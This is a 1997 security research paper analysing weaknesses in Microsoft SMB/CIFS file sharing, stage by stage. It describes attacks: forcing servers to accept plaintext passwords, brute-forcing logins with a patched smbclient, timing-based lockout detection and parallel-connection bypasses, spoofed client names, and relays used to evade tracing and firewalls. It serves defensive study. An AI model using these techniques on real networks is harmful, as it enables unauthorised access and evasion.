<pre>

CIFS: Common Insecurities Fail Scrutiny

Hobbit, Avian Research, hobbit@avian.org, January 1997

Abstract

An analysis of TCP/IP NetBIOS file-sharing protocols is presented, and the steps involved in making a client to server SMB connection described in some detail. Emphasis is placed on protocol and administrative vulnerabilities at various stages and fixes/workarounds for some of them, with the hope that the reader will better understand attacks and defenses alike. Several examples are presented, based upon using programs from the Unix Samba package to probe a target IP network and survey it for potential problems.

Introduction

We will explore the Shared Message Block protocol and related issues, at the network level and higher, in the interest of presenting useful knowledge about Microsoft networking [loosely aka any of CIFS, NetBEUI/NetBIOS, Lan Manager compatible] security issues. Microsoft systems and applications, based on NT and various flavors of Windows, are forcibly entering homes and offices the world over and all expecting to speak SMB-based filesharing protocols among themselves as well as with products from other vendors. As the network security community has come to expect from most commercial offerings, these systems are distributed with poorly configured security settings which are seldom changed or even reviewed by their new owners before being plugged into the Internet. This leaves many of them vulnerable to trivial attacks, and administrators who *do* try to address the security issues often miss or misconfigure things, perhaps making their systems less obviously vulnerable but nonetheless still vulnerable. A major factor in the difficulty is that many security practitioners are venturing into new territory here, which turns out to be riddled with unexpected and undocumented pitfalls. People relatively new to the overall networking security field, including many of those implementing and installing said operating systems, often lack the experience gained from other OSes and environments and have no idea where to look for potential problems.

No specific audience is targeted here, but administrators with a primarily Unix and NFS background that are now being asked to also support Windows and NT environments may benefit the most from this. A necessarily Unix-centric viewpoint is taken, since that is where the author’s main strengths are, but more importantly because Unix-based source code for a protocol implementation is freely available. Andy Tridgell’s Samba package represents an amazing amount of very solid and still-evolving work, and allows Unix systems to interoperate with Microsoft and Lan Manager platforms to access files and other resources over TCP/IP networks. The examples and discussion herein refer to the "stable release" version 1.9.15 patchlevel 8 of Samba, with some minimal modifications geared toward exploring the security aspects of the protocol. While not the latest release, it suffices here, and the documentation that comes with it is highly recommended reading. The evolving Internet-draft for the Common Internet File System, or CIFS, is also a key reference work that expands upon original or "core" SMB and explains most of what the boys in Redmond hope will become a full Internet standard. Their own implementations mostly adhere to the draft, and many other vendors already support CIFS or some subset thereof. A few issues specific to NT necessarily appear, but NT security itself is a whole different bucket of worms and is mostly outside the scope of this text.

So far there seems to be very little hard information available about this, although I am aware of at least one other ongoing related effort. Several megabytes of NT-security archives, random whitepapers, RFCs, the CIFS spec, the Samba stuff, a few MS knowledge-base articles, strings extracted from binaries, and packet dumps have been dutifully waded through during the information-gathering stages of this project, and there are *still* many missing pieces. Some compatible platforms were unavailable for testing, notably OS/2. While often tedious, at least the way has been generously littered with occurrences of clapping hand to forehead and muttering "crikey, what are they *thinking*?!" The intent is not to compete against other works in progress, it is rather to aid them in moving forward.

 Many of the ideas contained herein are not new, although it is possible that one or two hitherto unknown problems or methods have been independently discovered. The point is to collect the information into one place and describe a stepwise procedure for evaluating this type of network environment, in a way that those of us who have hitherto mostly shunned any dealings with Microsoft and other PC network products can readily understand.

Groundwork: What's out there?

Little needs to be said here. Given a target network or set of IP addresses, well-known methods can be used for finding the target hosts -- the procedure which at least one large contractor refers to as "network contour assessment." DNS zone dumps in conjunction with tools such as "fping" can quickly locate active machines. To specifically locate potential SMB servers, scanning for TCP port 139 is a fairly safe bet. In the absence of packet filtering, connection attempts there either open or get refused so it is unnecessary to wait around for long timeouts. If machines respond to pinging or other connectivity tests but TCP connections to 139 time out, then it is likely that there is a packet filter in the way protecting against NetBIOS traffic. A Unix parallel would be running something like "rpcinfo -p" against a set of targets to find NFS servers, which may or may not be protected by a filter blocking traffic to the portmapper at TCP/UDP 111.

We will therefore assume having collected a list of potential SMB servers, and proceed to attack a single target therein. Note however that information gleaned from neighboring machines may be useful, just as in the traditional Unix-based environment. Remembering various information about a network as a whole and plugging it back into specific host attacks is a classic approach amply detailed in numerous papers.

Phase 0: Name determination

To establish an SMB session to a typical target, one must not only have its IP address but also know its "computer name." This is an arbitrary name similar to a DNS hostname assigned by an administrator, unique within an organization or at least a given LAN, and in many installations the computername and DNS name are the same for administrative convenience. Name resolution is by definition a separate entity from SMB itself, and employs a variety of methods including static files, DNS, WINS, and local-wire broadcasts. When a machine is running NetBIOS over TCP/IP, or "NBT", it attaches its own little name service to UDP port 137, which makes a continual effort to both locate and disseminate as much info as it can about services on the local LAN. One of its functions is periodically broadcasting its own set of names on to the local wire, to notify immediate neighbors that it exists and offers services. IP routers generally do not forward these broadcasts, so passive receivers

outside an immediate subnet will not learn these names or which IP hosts they belong to. Fortunately there is usually an easy way to remotely determine the name, known as a "node status query." The name service also replies to direct queries about certain names associated with its own particular host, and if it is running as a WINS server it can give out even more information.

There are two basic query types -- IP address, and node status. Status query might be more properly called name query, since sending one should elicit an answer containing all of a target's NetBIOS names. Both are remarkably similar in structure to DNS queries, and are indeed a variant of the DNS protocol itself. A NetBIOS address query is for resource record type 32 and a status query is type 33; both of class IN or 1. With traditional NetBEUI over non-IP transports such as with local-LAN IPX, computer names are normally uppercase, 16 bytes long, and padded with spaces which are illegal characters in the DNS spec for hostnames. To get around this in IP environments, NetBIOS names are mangled into a rather bizarre format. The official spec for this is in RFCs 1001 and 1002, but to quickly sum it up: Each ASCII character in a name is split into 4-bit halves, and each half is added to ascii value 0x41 [uppercase "A"] to form a new byte. Each original character therefore becomes two mangled characters in the range A-P, doubling the entire length to 32 bytes. Thus, the name "FEH" gets padded out with spaces and becomes

```
ascii string "FEH             "  -- is
hex 46 45 48 20 20 20 20 20 20 20 20 20 20 20 20 20  -- split into
hex 4 6 4 5 4 8 2 0 2 0 2 0 2 0 2 0 2 0 ...etc...  -- add to "A" gives
hex 45 47 45 46 45 49 43 41 43 41 43 41 ...etc...  -- which is
mangled string "EGEFEICACACACACACACACACACACACA"
```

The name_mangle() routine in Samba's util.c does this translation. The characteristic "...CACACACA" string trailer makes NetBIOS names easily recognizable when they show up in packet dumps and such. Of particular interest is the wildcard name "*", but padded with *nulls* instead of spaces. This mangles to "CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". Under most circumstances, name-service listeners are required to reply to queries for this wildcard name as well as for their own computernames. Therefore sending a status query for this "*" name is very likely to produce a name reply as resource records containing the target's NetBIOS names, which oddly enough come back in *non-mangled* format. Multiple copies of some names usually show up, but they are subtly different. In practice the 16th byte of a non-mangled name is a type byte, which is a different animal from a DNS resource-record type! When a NetBIOS machine comes up its "name registration" broadcasts contain multiple instances of its own name and other strings, but with several different *NetBIOS* name types that can indicate different services. Note herein that mangled names are of length 32 or 0x20, address queries are RR type 32, and several returned names have *type* 0x20. Therefore a lot of 0x20s show up in these DNS-style packets and can make things rather confusing. There seem to be many name types, not particularly well documented except maybe in knowledge bases or resource kits, but the important ones are

```
0x00    base computernames and workgroups, also in "*" queries
0x01    master browser, in magic __MSBROWSE__ cookie
0x03    messaging/alerter service; name of logged-in user
0x20    resource-sharing "server service" name
0x1B    domain master-browser name
0x1C    domain controller name
0x1E    domain/workgroup master browser election announcement [?]
```

The mangling example above has 0x20 as its type byte, therefore building the name variant used when connecting to fileservers. Server and workstation machines alike can provide various different services, and are thus usually aware of more than one name/type at once. In fact most of them return a group

of five or so in a status reply, including the base computer name and whatever "workgroup" the target is a member of. Name type 0 should be used with the special "*" query which is null-padded anyway, or a response is unlikely. If NO name of type 0x20 is present in the list, it is unlikely that the machine in question has been configured to share any of its own resources and attempts to connect sessions to it will likely fail. Name type 0x3 in the reply often reveals the username logged in at the machine's console, and should be collected as a potential username to try against this or neighboring targets. The base name may also be the same as a username, since in typical small office environments the machines are often associated with specific people. The special name "^A^B__MSBROWSE__^B^A" [last char being control-A, or type 1] indicates a "master browser" which is a machine that collects info about neighboring machines -- in particular, their IP addresses. A master browser is a fortunate find since we can likely get a "browse list" from that machine [described later] and then possibly query that same target for all the other names and addresses it claims to know about.

One can do "nbtstat -A {ip-addr}" from a Microsoft platform to direct "*" queries to a specific IP-aware target and obtain its name list. In the absence of a mapping in an LMHOSTS file or some other mechanism, a specific machine can be found using "nbtstat -a \\NAME" if it is on the local wire. An address query is sent to the broadcast address of the connected subnet, and if a machine responds then a unicast status query is sent to it. For reasons unfathomable Microsoft platforms usually send status replies FROM UDP 137 TO UDP 137, regardless of the UDP source ports of query packets, so the querying application must locally bind to 137 [requiring root on Unix boxes] to ensure that replies can be received. Oddly enough, *address* replies are normally returned to whatever source port the query was from! To handle this fine example of the IP savvy out there in Redmond, a tiny patch is needed for the "nmblookup" Samba program, which as it comes grabs a high port and is unlikely to receive status replies. It will then work similarly to "nbtstat" when run as root, sending the "*" query if given the "-S *" argument [quoting "*" to the shell], and also accepts a *unicast* target IP as the -B argument. Nmblookup also has an interesting feature that allows setting the hex name type in a query -- for example, a name of the form "TARGET#1C" forces the name type to be 0x1C. A slightly more "raw" equivalent of the generic "*" query, which sometimes elicits a response containing no names but a response nonetheless, can be done using netcat to locally bind UDP port 137 and send a query. Feed the following input bytes into "nc -v -u -w 3 -p 137 target 137" and the output through "cat -v":

```
        0x00 # . 1
        0x03 # . 2      # xid
        0x00 # . 3
        0x00 # . 4      # flags
        0x00 # . 5
        0x01 # . 6      # qcnt
        0x00 # . 7
        0x00 # . 8      # rcnt
        0x00 # . 9
        0x00 # . 10     # nscnt
        0x00 # . 11
        0x00 # . 12     # acnt
        0x20 #   13     # namelen
        0x43 # C 14     # mangled "*" ...
        0x4b # K 15
        0x41 # A 16
        0x41 # A 17
        0x41 # A 18
        0x41 # A 19
        0x41 # A 20
```

```
        0x41 # A 21
        0x41 # A 22
        0x41 # A 23
        0x41 # A 24
        0x41 # A 25
        0x41 # A 26
        0x41 # A 27
        0x41 # A 28
        0x41 # A 29
        0x41 # A 30
        0x41 # A 31
        0x41 # A 32
        0x41 # A 33
        0x41 # A 34
        0x41 # A 35
        0x41 # A 36
        0x41 # A 37
        0x41 # A 38
        0x41 # A 39
        0x41 # A 40
        0x41 # A 41
        0x41 # A 42
        0x41 # A 43
        0x41 # A 44
        0x41 # A 45     # [embedded type byte]
        0x00 # . 46     # terminator
        0x00 # . 47
        0x21 # ! 48     # querytype NBTSTAT
        0x00 # . 49
        0x01 # . 50     # class IN
```

In rare cases, an additional "scope ID" may be tacked on to mangled names in the format "EGEFEICACACACACACACACACACACACA.scope" just like in multipart DNS names. A scope does not contain spaces, and therefore can and indeed is sent unchanged in hostname queries. Scope names are further discussed later under "defenses", since they can play a role therein.

Firing "*" queries at either selected hosts or the IP subnet's directed broadcast is another way of probing around for active SMB hosts. Most routers do not forward directed-subnet broadcast, but ones that do may get you all the answers in one or two shots! In most cases, scanning for TCP port 139 and following up with unicast UDP status queries is still likely to be faster and more reliable, especially when a target for some reason won't respond to "*" queries. This sometimes happens if the messaging or alerter service is shut down on the target, which is one recommended security procedure in several documents. If you suspect this case, try asking for "WORKGROUP", parts of the target's DNS name, and other likely strings like variants on the name of the organization or people within it. Status-querying explicitly for a machine's name or workgroup using type 0 should also cause it to respond, and a lack of any type 0x3 names in the list would confirm that messaging is disabled. Whether due to packet filters or some other reason, getting *no* reply for all this effort is still not a reason to give up -- it is UDP after all, and further name guesses can be plugged in during the next phase.

Phase 1: The TCP session

Next we open a TCP connection to port 139 on the target. There is no longer a need for any special local ports, so smbclient can run as a normal Unix user. The "called" target's computername of the appropriate type and the "caller" client name are name-mangled and plugged into a Session Request block sent to

the server. The idea here is to sanity-check the name determination step and ensure that one is conversing with the correct machine -- especially wise in the inevitable cases of outdated LMHOSTS files or DNS data. If the target server's name is right a "positive response" is sent back, and the connection remains open. If the wrong server name is passed in, a "negative response" is sent along with an error code, and the server end of the connection starts a TCP shutdown by sending a FIN. Nothing further can be done with the failed connection; a new one must be opened to try a different servername. The name of the connecting client is largely irrelevant and can even be null, although its name type is generally 0. However, the name the client supplies is the name that gets logged during later phases such as user logins. The client name may also affect behavior against NT machines which have such settable parameters as which workstations a given user may log in from. It appears that the source IP address is *completely* irrelevant to Microsoft-based servers, which simply accept the given client name. This is a first hint about how much functionality is left up to the client. A vague Unix parallel might be faking the client hostname in mount requests to be something in the target's export list, which usually worked against early NFS implementations.

This session request is only the first of many steps taken behind the scenes by most client commands. From a command prompt on a Microsoft box one does "net use \\TARGET\SHARENAME" to begin access to a filesystem, or "net view \\TARGET" to see a target's list of available services. Samba's "smbclient" accepts the same syntax, although the backslashes need to be isolated from the shell by enclosing in quotes or specifying \\\\TARGET\\RESOURCE. It also accepts "-L TARGET" to list the available resources, which in any case is what we want to do first. Smbclient by default picks up the caller name from the hostname of the Unix machine it is running on, but we can specify "-n fakename" to set it to something arbitrary.

An error response is usually one of two: either the passed servername wasn't correct, or the name was right but no service of the requested name type is running. Smbclient translates these errors respectively as "called name not present" or "not listening on called name." Usually if server-name/type 0x20 is unreachable, the target is not sharing its resources at all and there isn't much more we can do with it. Sessions to server-name/type 0x3 may work to reach the messaging service and is sometimes a way to check if we got at least one name right, but short of sending annoying messages to the console user it is not particularly useful. Smbclient has a "-M" argument to do message sending. The spec provides for a "not listening for CALLING name" error, implying a potential facility for access restriction by specific client, but today's implementations don't seem to care.

If all UDP name queries above have failed, the same sorts of guessing at the target's computername can be tried here, one per TCP connection. If the connection is relayed via an intermediate machine such as a proxy, the client must still supply the correct name of the target server. Microsoft clients can be faked out with an appropriate LMHOSTS entry with the name of the final destination but the IP address of the *relayer*. As long as the final target sees its own name in the request, it doesn't matter how it got there. An example fast way to script up different LMHOSTS names on the fly would be having "#INCLUDE ramdisk-file-name" in the main LMHOSTS file, to avoid repeatedly writing to the hard drive just to test a bunch of targets. The CIFS spec mentions that the magic target name "*SMBSERVER" is supposed to be some sort of wildcard, but it is optional and no current Microsoft platforms seem to accept it to open sessions. Samba does, simply because by design it accepts any old pair of names for sessions and more sensibly logs the client's IP address if appropriately configured.

Using a relay host can foil backtracing efforts by someone who notices odd network activity or log entries and goes to investigate. A suitable relayer

program can take just about any form, such a simple netcat script, a SOCKS gateway, or even Microsoft's own "Catapult" proxy package. The relay would presumably listen on TCP 139 and forward the connection, but with smbclient the relay can listen on any other port and we can supply the "-p {portnum}" argument to reach it. If a high-port relay is already behind a packet filter that blocks TCP 139 but allows >1024, not only is the firewall bypassed but the resulting server connection may look like a completely normal one from a trusted inside host.

Some Linux distributions anticipate being used as Samba servers, and come with an "nbsession" entry in inetd.conf but no server program to handle the connection. These will listen on TCP 139 but immediately close, while noting an appropriate error in the syslog.

A brief digression about SMB

So far none of this has involved any actual Shared Message Block protocol. The CIFS spec contains a detailed rundown on SMB packet formats. While SMB can run over various transports including IP, here we only discuss its usual interaction via TCP 139. A 4-byte block length is sent down the TCP stream followed by the block itself, so the transport handlers then know how much to read from or write to the network. SMB is thus independent of how IP-level packets split up the stream -- it doesn't care, it just keeps reading a connected socket until it satisfies the length's worth or times out. SMB blocks can be up to 65536 bytes long *excluding* the length integer, but in practice the blocks are usually smaller. SMB also trusts the TCP reliable transport layer to segregate different client sessions. In an alternate mode that uses UDP 138 the data blocks look almost the same, except that 12 bytes of unused "filler" are used under UDP to pass various session and sequencing context info. Many SMB request types support what is called the "AndX" mechanism, which provides a way to send several requests at once. Fields in these specify how to locate any subsequent SMB requests that were "batched" into this block. See the spec for more information.

The Samba code builds SMB blocks into buffers using a bunch of hairy macros with names like "SSVAL" to move short and long integers around and convert byte-ordering. [For a fun time, try unsnarling "byteorder.h".] Since Samba builds these internal buffers to include the 4-byte block length at offset 0, any other offsets described here are relative to that. After the block length comes the SMB header itself, starting at offset 4 in our reference frame with 0xFF, 'S', 'M', 'B'. A one-byte command code and several fixed-length fields follow, ending the SMB header proper. The command code indicates the type of SMB being requested or responded to. The request / response descriptions in CIFS exclude the header, and only detail what follows. After the header is a length byte and a variable-length bunch of two-byte "parameter words", and finally any associated buffers which can contain values, strings, file data, or whatever. A rough chart of this is given in Appendix C. The parameter words begin at offset 37 and are where most of the work gets done; in Samba they are called "smb_vwvN" where N is a number starting with 0. The buffers start at a variable offset depending on how many parameter words preceded; Samba has a routine called smb_buf() to dig through and find it. It should be noted that while the leading length bytes are in network order, all values inside the SMB blocks must be in "Intel" or little-endian order! In general both the block structure *and* what gets placed into it is all rather complex and confusing, and if it's any reassurance, the comments in earlier versions of Samba hint that much of it started as total guesswork and verbatim copying of block sections from packet dumps of sessions between MS boxes. As more SMB-savvy contributors came into the Samba development picture, these blind but somehow functional shots in the dark became better explained and recoded.

When working with NT we often encounter something called "unicode", a somewhat warped international character encoding standard. Strings are encoded into sequences of two-byte words, wasting twice the storage space required. This causes the string "ABC" to appear as "41 00 42 00 43 00" in hex dumps, and pops up in registry entries, SMB packets, and many other places. The lengths of unicode strings are usually stored elsewhere, such as [but not always] in an SMB parameter word, and there is sometimes confusion about precisely how long any string is. For example, is unicode "ABC" of size 3 or size 6? If we include and count a terminating null as required when sending passwords, is it then of size 4, 7, or perhaps even 8? To make matters even worse the strings must in theory be word-aligned in memory, and to force this to be true a leading null is supposed to be *inserted* ahead of the first character. The latest Samba server version contains a small fix for a common case where NT clients cannot quite decide consistently about the length of a null password string, and may send it as either 1 or 0.

One important part of the header we need to be aware of is two words beginning at offset 9 -- the response class and error codes, called smb_rcls and smb_err. These describe protocol errors in some detail, and there is a fairly large translation table of the most common errors near the end of client.c. The two error classes we usually ever see in practice are DOS and SERVER. There are several different possible class/error response combinations to describe any one kind of problem, such as failure to authenticate a user, and which pairs get sent back depends upon what type of platform the target is. The patch kit below includes a small routine called interpret_error() that boils an assortment of common errors down into a couple of standard return codes. This helps us distinguish between fatal errors, nonfatal errors and password problems, which figures significantly in a later phase of the attack. Some of the information here is not documented in CIFS, but can be found by doing "net helpmsg {smb_err #}" under NT, which seems to have a very complete set of error message texts available.

Phase 2: Dialect negotiation

Assuming an open TCP connection and successful session request, SMB request blocks may now be sent. The next step is for client and server to agree on the "dialect" of SMB protocol they can support. Over time, SMB has evolved from earliest "Microsoft networks" core protocol, through two types of Lan Manager and up to the current variant that NT uses. Each new dialect adds a couple of features, to support things like new authentication protocols and long filenames. The client sends a list of dialects it supports as [get this!] a bunch of null-terminated ASCII strings, including entries like

```
PC NETWORK PROGRAM 1.0
MICROSOFT NETWORKS 1.03
LANMAN1.0
LM1.2X002
LANMAN2.1
NT LM 0.12
```

which the server string-compares against dialects it recognizes and picks the "highest" common protocol level. There is a big comment in Samba's server.c just before reply_negprot() describing what most server platforms do with this. A response is built and sent back to the client, containing several important items: a numeric index into the dialect list to indicate which to use, some security-relevant flags, and an optional 8-byte "encryption key" to use for authentication. This "key" is a random challenge nonce that the server generates and temporarily remembers. A confusingly named "session key" is also sent, which is just some sort of unique but mostly unimportant identifier and *not* the same as the cryptkey.

Most SMB servers support backward dialect compatibility, and even if we support the latest NT we can always lie and exclude some of the later dialects from the list we send. Sessions between two NT machines involve more complex security protocols, so for our attack purposes it is definitely worth our while to convince a server that we are a dumb old client that can't handle the fancier stuff. Microsoft clients can't do this but smbclient can, with a settable max_protocol variable, and we should therefore plug "-m LANMAN2" into our command line to force the server to dumb itself down somewhat. Smbclient also parses dialects as strings here, not numeric levels.

The security mode flags appear in smb_vwv1, and we need to pay attention to the low two bits thereof. Smbclient tells us what this "sec mode" is at debug level 3. The earlier NetBIOS implementations optionally required a simple password to connect to a shared filesystem, and had no real concept of *who* was connecting as long as the correct password was supplied. Everyone using such a fileshare must know the single password for it, which is considered fairly lame from a security standpoint. This is called "share-level security", and is used by Windows for Workgroups, Samba if appropriately configured, and maybe some other Lan Manager platforms. Later dialects have a concept of individual user login, and indicate this "user-level security" by setting the LSB of the security flags. The next higher bit in the flags indicates whether the client should use "password encryption" or not. Thus if smbclient reports "sec mode 3" as it does when connecting to most NT servers, both of these bits are set. Sometimes we see a reference to "server-level security", but this simply means that authentication data is forwarded to a Domain Controller machine for validation and does not affect the mode bits.

Dialect negotiation must occur on a connection before other SMB types may be sent. If dialect negotiation fails for some reason, the server sends a FIN along with the response and the TCP connection must be closed and reopened. One way to observe this is to try negotiating the dialect either twice or not at all on a given connection. If a server is running in user-level security and a protocol is negotiated that does not support user login at all, the server will generally set the user-level bit anyway and wind up refusing to allow most other SMB transactions on that connection until successful user authentication is performed. This happens during the next phase.

Phase 3: SMB session setup

A server running in user-level security generally requires this step before allowing access to shared resources. This phase can be skipped entirely against share-level servers, or used anyway to pass additional info about buffer sizes and client capabilities. Normally here is where usernames and passwords get plugged in and the "attack" really begins. The official CIFS name for this phase is SessionSetupAndX, implying once again that additional SMB requests can and often are batched into this block. Note carefully that despite the unfortunately confusing name, this "session setup" is a very DIFFERENT animal from the RFC1001/1002-style TCP "session setup" done in phase 0! In general the different TCP sessions distinguish between client *machines*, while a "UID" determined during this SMB setup phase distinguishes an individual *user* on a given client. This implies that all SMB traffic between a given client and server pair may pass over a single TCP connection regardless of originating user, although this is not required behavior by any means since servers can support several concurrent TCP connections. It also implies that multiple SMB setup requests can be sent across the single connection instance, which is perhaps the key thing that throws it wide open to various attacks.

The contents of this block and the server response vary somewhat depending on the agreed dialect level and security flags. The most relevant items in

the request are a username and either a plaintext password or a hash derived from it. Other items include maximum buffer sizes, various other client information such as its domain and running OS [all of which can be faked up], and perhaps further SMB commands via the AndX mechanism.

Microsoft boxes collect a username and password through one or another "logon" dialog. Under WFWG, the simplest command-line way to change them on the fly is "net logon {user}" which sets them up for a subsequent "net use". NT requires a login to use the client workstation and saves the username and password from that as default credentials for subsequent filesharing, but these can be overridden in its "net" command line with optional /USER and password arguments. Smbclient accepts "-U username", and asks for a password that it will plug in at the appropriate time. The unmodified version accepts a password on the command line as an optional argument after the sharename, or by using the format "-U user%passwd". In many cases the password must be in all UPPERCASE, but some servers may accept or even require mixed-case even in LANMAN-only dialect -- this is a bit of a crap shoot, so try it both ways. The Samba server has hooks to try a couple of different permutations in an effort to authenticate oddball clients, with appropriate warnings about reduced keyspace.

Under user-level security a successful login means we are basically "in" as either the target user or a guest. The SMB response contains some strings containing the server's OS and version, and an important SMB header field called the UID. This is not quite the same thing as a Unix UID, although for convenience Samba does use the Unix UID of the authenticating user here. Microsoft servers construct an internal set of user credentials and rights and assign the UID as a token that refers to it. The UID is in theory unique only within the context of the enclosing TCP connection -- if multiple SMB sessions are active across one TCP connection the UID distinguishes the separate users there, and in theory different users on different TCP sockets could wind up being assigned the same UID. There is also a process-ID or PID header field that the *client* initiates, but that seems to hold little relevance except for some file-locking calls. Again, regardless of server platform the UID is merely a reference token and while playing games with UID/GID values may be effective against NFS servers, trying it here it only produces "invalid UID" SMB errors or is simply ignored by the server. The server can optionally set a flag in the setup response that indicates that a given session is a "guest" login. Samba does this and NT does not, but the setting of this bit seems irrelevant to the rights a given active UID has on the server anyway.

There are several possible error responses here, which our interpret_error routine turns into something we can recognize to mean whether to continue the attack or give up. An unknown username and/or password in most cases comes back as "access denied" unless unknown/null users get mapped to GUEST. There are some errors that imply that the supplied credentials were right but there is some other problem, such as "account disabled" or "cannot log in from the network." In such cases further attempts with a given username will probably be unproductive, but remember that here the TCP connection remains open regardless of the return status, allowing ample opportunity for retries with any other username and password. Protocol errors or transient server problems can also occur, some of which may imply that a new TCP session is needed.

Two important usernames to try right off against Microsoft platforms are ADMINISTRATOR and GUEST, since these usually exist out of the box and all too often have null passwords. If the ADMINISTRATOR login has been renamed to "something obscure" as recommended in several texts, its new name may show up somewhere on the target network as a type 0x3 anyway. As mentioned before, any other base computernames and type 0x3 messaging names collected from the target network are all potential usernames. A machine running the Microsoft web server may have an account of the form IUSR_{basename} that got quietly

created during setup, and it is said that the SQL server pulls similar stunts. A null username or one that is unknown to the server is often accepted as a guest login that allows some limited amount of poking around -- often enough access to at least read files from the server if not write to them. Any hint at an account used for disk backups in an NT environment should be pursued, since such an account probably has "backup" privileges to read the entire filesystem including the normally inaccessible SAM security database. If the server is running Samba itself, a null username and password may grant guest access. Try some Unix accounts that have known or null passwords -- Samba by default disallows logins by accounts with null passwords, but for any allowable ones does not check for a valid user shell like other daemons do. Try likely null ones anyway since some sites may be configured to allow them. An exception to the null-password rule is Samba's default "pcguest" account in smb.conf, which many sites remap to "nobody" or something rather than create a new /etc/passwd entry.

If the client supports password encryption, it uses the user's password as input to one or both of two possible encryption algorithms referred to as the LANMAN method and the NT method. These algorithms are described in CIFS in excruciating detail, and reviewed in Appendix A here. By deliberately dumbing down our negotiated protocol level we can eliminate the need for the NT-style field even if connecting to an NT-dialect server. For backward compatibility NT accepts the LANMAN password format, which completely obviates the increased security supposedly given by long case-sensitive passwords. It is important to understand that it is the CLIENT that chooses whether or not to use password encryption, and the server's "use encryption" security mode bit is just a gentle suggestion. If a server cannot authenticate via a 24-byte crypto response it is supposed to use whatever is given AS PLAINTEXT. This is another major weakness in the protocol spec, since a compliant server cannot enforce use of encryption! We therefore don't even need "libdes" or the Samba crypto support for our attack kit, we can just send plaintext passwords. Furthermore, since at this point we can send multiple SetupAndX exchanges REGARDLESS of whether they succeed or fail, the opportunity for brute-force guessing is obvious. Most stock client apps are not useful as brute-forcing engines since they exit after one or two failed authentications, but our patch kit modifies smbclient's send_login() routine to keep trying until it either succeeds or runs out of passwords to try.

While this phase is ripe for brute-force attacks, it is also where servers might start logging things. Entries wind up, relative to their respective system-root directories, in "audit.log" under Windows, "config\secevent.evt" under the NT system directory, and "var/log.smb" on a Samba server. Microsoft platforms [particularly NT] open their log files in an exclusive way that prevents other processes from directly reading or modifying them, and Samba's logfiles can be protected against normal users. Unfortunately the default setup for what *gets* logged is weak or nonexistent. Windows seems only to log full filesharing connection attempts, which do not happen at this phase, and the logging is controlled via simple SYSTEM.INI lines. NT out of the box logs NOTHING -- one must configure the NT "system policy" to *do* the logging for both failed and successful user logins, and only the name given by the connecting client is saved -- NOT its IP address. Other Microsoft platforms have the same problem. Unless someone actively runs "netstat -a" during the attack or provides some third-party enhanced logging facility, no useful backtracing information will be saved. The Samba server by default only logs successful filesharing connections. This pretty much lets an attacker guess at Unix user passwords all day and never be noticed, similar to what vanilla rexec allows. Setting up more meaningful logging gets rather involved and is covered later under "defenses." In all cases, recall also that any TCP connections can be run through an intermediate relay which will cause the relay's IP address to be observed instead of the real source of an attack.

NT servers exhibit several quirks worth mentioning, most of which reveal that the design of the authentication backend is at best naive. A cleartext unicode NT password can be sent in smb_vwv8 but if the alignment is screwed up or the length given as uneven, the returned error is "parameter incorrect" and the event log entry is just "unexpected error." If a properly formed NT password is given under NT LM dialect, encrypted or otherwise, any LANMAN style one in smb_vwv7 is apparently ignored. Upon valid authentication, other error codes returned can mean things like "account disabled", "network access denied", "cannot log in from this workstation", as well as several others that arguably give out too much information that could help guide an attack. Users can be configured such that they can only log in from certain named clients, but not only can the client send an arbitrary caller name, it turns out that using either a null name or even a single space handily bypasses this silly restriction and allows the login anyway.

NT has the capability to "lock out" accounts after some number of failed login attempts. While there is no specific error to indicate this, it is quite easy to remotely determine [at least against NT 4.0 with non-permanent user lockout policy] when a temporary account lockout happens. Any failed login usually causes the server to delay for 2 or 3 seconds before sending the SMB "access denied" error, to slow down brute-force attacks. Attempts on a valid username will elicit these delayed responses until the lockout threshold is reached, and then suddenly there is NO delay anymore and subsequent guesses on the same username are denied immediately! If account lockout is enabled, the default threshold is between 5 and 10 tries and the lockout time is 30 minutes. Therefore in most cases it doesn’t take very long to make the lockout perceptibly happen.

If attempts on one known-to-exist username triggers login-failure lockout but another one does not, chances are that the second one is the administrator account. Conversely, if attempts on ADMINISTRATOR trigger lockout, it is probably a decoy and the real one has been renamed. Lockout does not apply to the administrative account, with the ostensible idea being prevention of *total* denial of service attacks. This leaves ADMINISTRATOR or the equivalent accountname open to unlimited guessing. Even the access-denied delay can be effectively bypassed. The delay is imposed per TCP connection, so by opening up 10 connections and pounding in different sets of passwords an attacker gets a tenfold increase in brute-force speed. Such an attack probably occupies significant server CPU time since not only does the event logging go crazy, but each plaintext guess must be re-hashed on the *server* side for comparison against the stored OWF. A workaround sometimes suggested to combat this is an obscure registry setting that causes the whole server to shut down when the event log fills, but that just allows an even worse denial of service.

Phase 4: IPC Tree connect

Now that we are logged in, we can begin exploring what resources the target has to offer. A "tree connect" traditionally implies a directory tree in a filesystem, but in SMB there is special type of shared resource referred to as a named pipe or IPC -- familiar terms to Unix people. Tree connect is sometimes also called StartConnection or TCon. A tree connect is performed to access any resource, be it a filesystem, a printer, or a named pipe. Pipes provide a means for exchanging "API calls" of various types between client and server, and besides mentioning a couple of specific API types this document does not cover them in any further detail. Besides, according to CIFS the newer [and Microsoft-originated, rather than third-party?] RPC facility is the recommended interface for such things, implying that the named-pipe API may eventually be phased out. Nonetheless the current interface to get information about the server is still a named-pipe transaction, so in this

case we need to do an IPC tree connect to obtain the server's "share list" and discover what *other* things we can connect to.

There is a field in this SMB for a password, which is used if needed for accessing filesystems on share-level servers. The IPC tree connect we need here should not require a password, but there may be odd cases or other types that do. The other fields contain the service type and name which in this specific case are the two strings "IPC" and "\\SERVER\IPC$". There is an AndX form of this SMB so more requests can be chained onto it -- often used for quick one-off requests such as getting share lists. Sometimes the tree connect itself is tacked on to the SMB session setup as the AndX request. In general if a given phase doesn't appear by itself in a packet dump, check for an AndX in the previous request. For example, session setup returning with a nonzero TID probably resulted from sending the setup and TCon as one big SMB.

The Microsoft "net view \\servername" command should show the share-list of the target, EXCEPT for any "hidden" sharenames that end with "$" per the stupid client-side design. [This is described below.] If no existing TCP session is established yet, "net view" will behind the scenes go through all the SMB steps needed to get to this point. We can usually see any and all shares with smbclient, where we specify "-L servername" to list them and some other info such as browse lists of neighboring machines. These lists are all gotten via API transactions of various sorts with the well-known standard "\PIPE\LANMAN" service -- possibly because LANMAN 1 was the first dialect to support named pipes at all. This a black box in the scope of this document but suffice to say it involves wacky strings like "WrLehDO" and "B16BBDz" plugged into SMB "Trans" requests. Some but not nearly all of this is documented in CIFS.

